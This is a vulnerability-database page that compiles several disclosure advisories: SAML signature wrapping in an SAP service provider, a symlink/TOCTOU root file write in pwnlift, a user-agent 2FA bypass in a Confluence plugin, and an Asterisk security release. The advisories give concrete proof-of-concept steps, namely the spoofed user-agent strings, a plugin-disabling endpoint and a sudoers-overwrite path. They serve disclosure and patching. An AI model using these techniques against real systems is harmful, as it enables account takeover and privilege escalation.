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In web single sign-on contexts, the SAML response is\npassed through the authenticating user\u0027s browser and therefore very susceptible\nto modification.\n\nWhen verifying a specially crafted SAML response, the SAMP service provider\nimplementation verifies the signature over one part of the XML document while\nusing information from another element to identify the authenticated user.\n\nProviding original, legitimate information from any valid SAML response in\nthe first part and the corresponding signature, along with a manipulated\nalternative part, authentication to the SAP system as an arbitrary\nSAML-enabled / mapped user is possible.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA typical (non-encrypted, assertion signing) SAML response will have a structure\nlike the following (various irrelevant elements are removed for brevity):\n\n\u003csamlp:Response\u003e\n\u003cAssertion ID=\"MyID\"\u003e\n \u003cSignature\u003e\n \u003cSignedInfo\u003e\n \u003cReference URI=\"#MyID\"\u003e\n \u003cDigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"; /\u003e\n \u003cDigestValue\u003e[...]\u003c/DigestValue\u003e\n \u003c/Reference\u003e\n \u003c/SignedInfo\u003e\n \u003cSignatureValue\u003e[...]\u003c/SignatureValue\u003e\n \u003cKeyInfo\u003e\n \u003cX509Data\u003e\u003cX509Certificate\u003e[...]\u003c/X509Certificate\u003e\u003c/X509Data\u003e\n \u003c/KeyInfo\u003e\n \u003c/Signature\u003e\n \u003cSubject\u003e\u003c...\u003e\u003c/Subject\u003e\n \u003cAttributeStatement\u003e\n \u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name\";\u003e\n \u003cAttributeValue\u003eoriginaluser@mydomain.example\u003c/AttributeValue\u003e\n \u003c/Attribute\u003e\n \u003c...\u003e\n \u003c/AttributeStatement\u003e\n\u003c/Assertion\u003e\n\u003c/samlp:Response\u003e\n\nThe XML Signature specification is very flexible (read: complex), leaving\nsignificant room for ambiguities and implementation errors. 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Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0351
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
pwnlift: symlink following and TOCTOU in privileged upload handler allow arbitrary file write as root
Summary
1. Advisory information
-----------------------
Title: Symlink following and TOCTOU in pwnlift upload handler allow arbitrary file write as root
Advisory: https://github.com/GregDurys/security-advisories
GHSA: GHSA-2v7v-rhpw-m9w4
CVE: CVE-2026-56815
Class: CWE-59 (Improper Link Resolution Before File Access),
CWE-367 (Time-of-check Time-of-use Race Condition)
CVSS: 7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Date: 2026-06-27
Author: Greg Durys <https://github.com/GregDurys>
2. Affected software
--------------------
Project: pwnlift
Repository: https://github.com/rasta-mouse/pwnlift
Runtime: .NET / Blazor (ASP.NET Core, Kestrel)
Component: pwnlift/Components/Pages/Home.razor
Tested: commit 211f2b3 (2025-08-29)
Fix: d7a95449d9ee1ea09ec1529286685f6187afbbed (merged 2026-06-18),
(initial remediation e3eddac addresses CWE-59 but not CWE-367)
3. Testing scope
----------------
All exploitation testing was performed in a local testbed. The known
affected downstream lab deployment has been mitigated by removing the
privileged sudo entry. The upstream follow-up fix has been merged.
4. Summary
----------
pwnlift is a small .NET/Blazor file upload server. Its upload handler
constructs the destination path from the caller's working directory
(Directory.GetCurrentDirectory()) and writes uploaded files without
validating symlinks, canonicalising paths, or sanitising filenames.
When pwnlift runs as root via sudo without a cwd= directive, a local
user can exploit this in two ways:
(a) Symlink following (CWE-59): pre-stage an Uploads symlink
pointing at a privileged directory. The elevated process follows
the symlink and writes uploaded files into the target.
(b) TOCTOU bypass of initial fix (CWE-367): the initial fix added
a ReparsePoint check and StartsWith containment. Because the
destination is still caller-controlled, a race script alternates
Uploads between a real directory (passes the check) and a symlink
(catches the write). The StartsWith check has a separate flaw:
prefix matching without a trailing separator means
/tmp/Uploads-evil passes StartsWith("/tmp/Uploads").
Both variants achieve arbitrary file write as root. For example,
writing to a privileged configuration path such as /etc/sudoers.d/
can grant the attacker full passwordless sudo.
5. Remediation
--------------
Replace Directory.GetCurrentDirectory() with AppContext.BaseDirectory.
Enforce path containment with Path.GetRelativePath rather than
StartsWith. Retain the ReparsePoint check as defence in depth. Ensure
the application directory and Uploads are root-owned and not writable
by lower-privileged users. If Uploads already exists as a symlink,
remove and recreate it as a real directory before applying ownership
changes.
6. Disclosure timeline
----------------------
2026-04-30 Privileged deployment observed during normal lab usage
2026-05-07 Initial contact with upstream maintainer
2026-05-08 Reproduced end-to-end in local testbed; reported to upstream maintainer and downstream deployment operator
2026-05-12 Initial fix committed upstream (e3eddac) with reporter credit
2026-05-19 Downstream operator declined CVE on CNA scope grounds
2026-05-20 TOCTOU bypass reproduced and reported to maintainer
2026-05-28 Downstream operator confirmed lab patched, sudo removed
2026-05-30 CVE requested via GHSA
2026-06-09 GitHub rejected CVE request
2026-06-09 GHSA re-review requested
2026-06-15 CVE request submitted to MITRE
2026-06-18 Follow-up fix merged upstream; CVE re-requested via GHSA
2026-06-19 GitHub rejected second CVE request
2026-06-22 GHSA advisory published without a CVE
2026-06-23 Advisory posted to oss-security
2026-06-23 MITRE assigned CVE-2026-56815
7. Current status
-----------------
Downstream deployment: patched (sudo entry removed, 28 May 2026)
Upstream final fix: merged (d7a9544, 18 June 2026)
CVE: CVE-2026-56815 (assigned by MITRE, 23 June 2026)
8. References
-------------
- https://github.com/rasta-mouse/pwnlift
- https://github.com/rasta-mouse/pwnlift/commit/e3eddaca42b4b3e9c69f2d7aa024b6c82e27a5a2
- https://github.com/rasta-mouse/pwnlift/commit/d7a95449d9ee1ea09ec1529286685f6187afbbed
- https://github.com/rasta-mouse/pwnlift/security/advisories/GHSA-2v7v-rhpw-m9w4
- https://www.openwall.com/lists/oss-security/2026/06/23/2
- https://github.com/GregDurys/security-advisories
- https://payloadforge.io/beyond-crto-pwnlift/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | pwnlift symlink following |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0351 (this record)
- related CVE-2026-56815
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GCVE-1988-2026-0360
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:31
VLAI
EPSS
VEX
Title
SEC Consult SA-20260616-0 :: Broken Access Control in syracom AG Secure Login (2FA) for Atlassian Jira / Confluence / Bitbucket #CVE-2026-12225
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260616-0 >
=======================================================================
title: Broken Access Control
product: syracom AG Secure Login (2FA) for Atlassian Jira /
Confluence / Bitbucket
vulnerable version: 3.4.0.x
fixed version: 3.5.0.0
CVE number: CVE-2026-12225
impact: High
homepage:https://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence?hosting=datacenter&tab=overview
found: 2026-02-27
by: Laurentius von Oppenkowski (Office Munich)
Timo Müller (Office Munich)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"The ORIGINAL: Strong Security via 2FA auth. for Confluence, efficient but
user friendly without any external 2-factor systems"
Source:https://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence?hosting=datacenter&tab=overview
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
More details can be found at the end of this advisory.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Broken Access Control allows 2FA bypass (CVE-2026-12225)
"Secure Login (2FA) for Confluence" by Syracom AG is a plugin which allows
administrators to integrate a 2FA workflow into their Confluence instance.
The plugin contains a broken access control vulnerability that allows an
attacker to bypass the Two-Factor Authentication process with any account by
using a specific user agent in their HTTP requests.
When bypassing the 2FA flow, an attacker can access the entire page and all
settings even though the 2FA plugin should block every request for web
directories that are not included in its allowlist.
In the worst case this can be abused to make administrative changes to the
Confluence instance, like deactivating the 2FA plugin entirely,
and making arbitrary administrative changes.
This vulnerability is present as the plugin contains a vulnerable code branch
if it encounters specific user agents, such as the Confluence mobile app user
agent. For each request in which such a specific user agent is present,
the 2FA plugin does not enforce any 2FA at all.
As a precondition for the successful exploitation of this vulnerability an
attacker requires valid credentials of a victim user account.
For example, through a password leak or phishing.
Proof of concept:
-----------------
1) Broken Access Control allows 2FA bypass (CVE-2026-12225)
In order to exploit this issue a maliciously crafted user agent, which
contains the string "AtlassianMobileApp" or "JIRA" needs to be set.
Please note that all following PoC requests must contain this string within
the user agent of the HTTP request.
Furthermore, in the PoC it is assumed that the attacker has access to the
credentials of an administrative account. However, please note that bypassing
the 2FA requirement is possible for accounts of any role.
a) The attacker logs into the application with the username and password
of a victim. Due to the specific user agent, the 2FA page is not displayed
to the user:
<initial_login.png>
b) The attacker can view the 2FA secret of their current user by accessing the following URL:
http:// localhost:8090/plugins/servlet/twofactor/userprofile
<secure_login_profile.png>
The plaintext secret on the user page alone would allow bypassing
any further 2FA requirements.
c) The maliciously crafted user agent also allows the attacker to access
administrative pages and the Confluence WebSudo page (WebSudo starts a secure
administration session and is required for many administrative actions).
<access_configuration_from_dashboard.png>
<websudo.png>
d) At this point, the attacker can disable the 2FA plugin through the
management API. This can be done through the UI, as seen in the screenshots
down below, or by calling the following REST endpoint directly:
/rest/plugins/1.0/de.syracom.confluence.plugins.securelogin-key
<confluence_app_management.png>
The successful exploit can be confirmed through the now disabled 2FA plugin.
<app_disabled.png>
The corresponding HTTP request to disable the plugin with the maliciously
crafted user agent looks as follows:
<disable_request.png>
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 3.4.0.1
According to the vendor, the following versions are affected:
* Secure Login (2FA) - Jira = 3.4.0.x
* Secure Login (2FA) - Confluence = 3.4.0.x
* Secure Login (2FA) - Bitbucket = 3.4.0.0
Vendor contact timeline:
------------------------
2026-03-10: Vendor contacted throughatlassian-support () syracom de
2026-03-10: Vendor confirms receipt of the advisory
and will investigate the vulnerability.
2026-04-01: Inquiry about the status of the advisory review.
2026-04-01: Vendor states that a fix is in development
and will be released as soon as it is ready.
2026-04-21: Vendor informs us that the fix is still in development.
2026-05-06: Vendor announces the advisory release on 2026-05-11.
2026-05-08: Vendor confirms release date.
2026-05-08: Informing vendor that our advisory will be released at
a later date.
2026-05-11: Vendor releases security patch and advisory.
2026-06-16: Release of security advisory.
Solution:
---------
The vendor provides a patched version 3.5.0.0 which can be downloaded at:
https://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence
Vendor security advisory:
https://syracom-bee.atlassian.net/wiki/spaces/SL/pages/4193255427/2026-05-11+-+Secure+Login+security+advisory+-+Broken+Access+Control
Vendor troubleshoot article:
https://syracom-bee.atlassian.net/wiki/spaces/SL/pages/4230217729/Mobile+app+login+does+not+work+with+Secure+Login
Workaround:
-----------
Not required.
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:http://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Laurentius von Oppenkowski, Timo Müller / 2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Syracom Ag | Secure Login (2FA) for Atlassian Jira / |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0360 (this record)
- related CVE-2026-12225
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260616-0 \u003e\n=======================================================================\n title: Broken Access Control\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: syracom AG Secure Login (2FA) for Atlassian Jira /\n Confluence / Bitbucket\n\u00a0vulnerable version: 3.4.0.x\n\u00a0 \u00a0 \u00a0 fixed version: 3.5.0.0\n CVE number: CVE-2026-12225\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: High\n \nhomepage:https://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence?hosting=datacenter\u0026tab=overview\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-02-27\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0by: Laurentius von Oppenkowski (Office Munich)\n Timo M\u00fcller (Office Munich)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The ORIGINAL: Strong Security via 2FA auth. for Confluence, efficient but\nuser friendly without any external 2-factor systems\"\n\nSource:https://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence?hosting=datacenter\u0026tab=overview\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\nMore details can be found at the end of this advisory.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Broken Access Control allows 2FA bypass (CVE-2026-12225)\n\"Secure Login (2FA) for Confluence\" by Syracom AG is a plugin which allows\nadministrators to integrate a 2FA workflow into their Confluence instance.\nThe plugin contains a broken access control vulnerability that allows an\nattacker to bypass the Two-Factor Authentication process with any account by\nusing a specific user agent in their HTTP requests.\n\nWhen bypassing the 2FA flow, an attacker can access the entire page and all\nsettings even though the 2FA plugin should block every request for web\ndirectories that are not included in its allowlist.\n\nIn the worst case this can be abused to make administrative changes to the\nConfluence instance, like deactivating the 2FA plugin entirely,\nand making arbitrary administrative changes.\n\nThis vulnerability is present as the plugin contains a vulnerable code branch\nif it encounters specific user agents, such as the Confluence mobile app user\nagent. For each request in which such a specific user agent is present,\nthe 2FA plugin does not enforce any 2FA at all.\n\nAs a precondition for the successful exploitation of this vulnerability an\nattacker requires valid credentials of a victim user account.\nFor example, through a password leak or phishing.\n\n\nProof of concept:\n-----------------\n1) Broken Access Control allows 2FA bypass (CVE-2026-12225)\nIn order to exploit this issue a maliciously crafted user agent, which\ncontains the string \"AtlassianMobileApp\" or \"JIRA\" needs to be set.\nPlease note that all following PoC requests must contain this string within\nthe user agent of the HTTP request.\nFurthermore, in the PoC it is assumed that the attacker has access to the\ncredentials of an administrative account. However, please note that bypassing\nthe 2FA requirement is possible for accounts of any role.\n\na) The attacker logs into the application with the username and password\nof a victim. Due to the specific user agent, the 2FA page is not displayed\nto the user:\n\u003cinitial_login.png\u003e\n\nb) The attacker can view the 2FA secret of their current user by accessing the following URL:\nhttp:// localhost:8090/plugins/servlet/twofactor/userprofile\n\n\u003csecure_login_profile.png\u003e\n\nThe plaintext secret on the user page alone would allow bypassing\nany further 2FA requirements.\n\nc) The maliciously crafted user agent also allows the attacker to access\nadministrative pages and the Confluence WebSudo page (WebSudo starts a secure\nadministration session and is required for many administrative actions).\n \u003caccess_configuration_from_dashboard.png\u003e\n \u003cwebsudo.png\u003e\n\nd) At this point, the attacker can disable the 2FA plugin through the\nmanagement API. This can be done through the UI, as seen in the screenshots\ndown below, or by calling the following REST endpoint directly:\n\n /rest/plugins/1.0/de.syracom.confluence.plugins.securelogin-key\n\n\u003cconfluence_app_management.png\u003e\n\nThe successful exploit can be confirmed through the now disabled 2FA plugin.\n\u003capp_disabled.png\u003e\n\nThe corresponding HTTP request to disable the plugin with the maliciously\ncrafted user agent looks as follows:\n\n\u003cdisable_request.png\u003e\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 3.4.0.1\n\nAccording to the vendor, the following versions are affected:\n\n* Secure Login (2FA) - Jira = 3.4.0.x\n* Secure Login (2FA) - Confluence = 3.4.0.x\n* Secure Login (2FA) - Bitbucket = 3.4.0.0\n\n\nVendor contact timeline:\n------------------------\n2026-03-10: Vendor contacted throughatlassian-support () syracom de\n2026-03-10: Vendor confirms receipt of the advisory\n and will investigate the vulnerability.\n2026-04-01: Inquiry about the status of the advisory review.\n2026-04-01: Vendor states that a fix is in development\n and will be released as soon as it is ready.\n2026-04-21: Vendor informs us that the fix is still in development.\n2026-05-06: Vendor announces the advisory release on 2026-05-11.\n2026-05-08: Vendor confirms release date.\n2026-05-08: Informing vendor that our advisory will be released at\n a later date.\n2026-05-11: Vendor releases security patch and advisory.\n2026-06-16: Release of security advisory.\n\n\nSolution:\n---------\nThe vendor provides a patched version 3.5.0.0 which can be downloaded at:\nhttps://marketplace.atlassian.com/apps/1214491/secure-login-2fa-for-confluence\n\nVendor security advisory:\nhttps://syracom-bee.atlassian.net/wiki/spaces/SL/pages/4193255427/2026-05-11+-+Secure+Login+security+advisory+-+Broken+Access+Control\n\nVendor troubleshoot article:\nhttps://syracom-bee.atlassian.net/wiki/spaces/SL/pages/4230217729/Mobile+app+login+does+not+work+with+Secure+Login\n\n\nWorkaround:\n-----------\nNot required.\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Laurentius von Oppenkowski, Timo M\u00fcller / 2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0359
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:33
VLAI
EPSS
VEX
Title
Asterisk Security Release 23.4.1
Summary
The Asterisk Development Team would like to announce security release
Asterisk 23.4.1.
The release artifacts are available for immediate download at
https://github.com/asterisk/asterisk/releases/tag/23.4.1
and
https://downloads.asterisk.org/pub/telephony/asterisk
Repository: https://github.com/asterisk/asterisk
Tag: 23.4.1
## Change Log for Release asterisk-23.4.1
### Links:
- [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-23.4.1.html)
- [GitHub Diff](https://github.com/asterisk/asterisk/compare/23.4.0...23.4.1)
- [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-23.4.1.tar.gz)
- [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)
### Summary:
- Commits: 19
- Commit Authors: 6
- Issues Resolved: 0
- Security Advisories Resolved: 20
- [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim
DIALPAGE digit handling can overflow phone_number and crash Asterisk
- [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer
Dereference in HTTP AMI Digest Authentication
- [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS
in Phone Provisioning HTTP Error Pages
- [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer
overflow in MWI NOTIFY Message-Account parsing
- [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds
Read in Q.931 Information Element Parser (H.323 Addon)
- [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer
Overflow in OGG/Speex File Playback (format_ogg_speex)
- [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer
over-read in Asterisk PJSIP MWI body parser
- [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6):
Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing
- [GHSA-h5hv-jmgj-92q2](https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2): CVE-2022-37325
fix is absent from current chan_ooh323 Q.931 party-number parser
- [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED
T.140 Generation Accumulation OOB Write
- [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer
overflow in res_xmpp XMPP namespace prefix handling
- [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection
in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field
- [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): Asterisk
app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers
- [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds
Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch
- [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter
Injection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)
- [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED
T.140 Heap Buffer Overflow
- [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI
setChannelVar bypasses live_dangerously and permits FILE() writes
- [GHSA-wcvv-g26m-wx5c](https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c): ARI
REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE
- [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer
Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer
- [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber
executes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE
### User Notes:
### Upgrade Notes:
### Developer Notes:
- #### ARI: Make ARI applications respect live_dangerously.
ARI applications can no longer call "dangerous" dialplan
functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without
enabling "live_dangerously" in asterisk.conf.
Resolves: #GHSA-vrfp-mg3q-3959
### Commit Authors:
- George Joseph: (6)
- Mike Bradeen: (3)
- Milan Kyselica: (7)
- Pengpeng Hou: (1)
- Roberto Paleari: (1)
- ThatTotallyRealMyth: (1)
## Issue and Commit Detail:
### Closed Issues:
- !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk
- !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication
- !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages
- !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing
- !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)
- !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)
- !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser
- !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP
processing
- !GHSA-h5hv-jmgj-92q2: CVE-2022-37325 fix is absent from current chan_ooh323 Q.931 party-number parser
- !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write
- !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling
- !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field
- !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers
- !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch
- !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information
Disclosure)
- !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow
- !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes
- !GHSA-wcvv-g26m-wx5c: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE
- !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer
- !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to
potential privilege escalation And RCE
### Commits By Author:
- #### George Joseph (6):
- chan_unistim.c: Prevent overrun of phone_number field.
- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
- ooh323c/ooq931.c: Ensure ooQ931Decode doesn't run out-of-bounds.
- ARI: Make ARI applications respect live_dangerously.
- res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.
- #### Mike Bradeen (3):
- ooh323c: not checking for IE minimum length
- manager: Use remote address in user error logging
- ooh323: Prevent potential buffer overflow in trace logging
- #### Milan Kyselica (7):
- res_xmpp: Fix stack buffer overflow in namespace prefix handling
- res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser
- res_config_ldap: Escape LDAP filter values per RFC 4515
- cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection
- http: Escape error page text to prevent reflected XSS
- codec_codec2: Only process complete Codec2 frames in decoder
- format_ogg_speex: Add bounds check to prevent heap buffer overflow
- #### Pengpeng Hou (1):
- app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers
- #### Roberto Paleari (1):
- res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser
- #### ThatTotallyRealMyth (1):
- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
### Commit List:
- ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.
- chan_unistim.c: Prevent overrun of phone_number field.
- ooh323c: not checking for IE minimum length
- res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.
- pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.
- ooh323c/ooq931.c: Ensure ooQ931Decode doesn't run out-of-bounds.
- ARI: Make ARI applications respect live_dangerously.
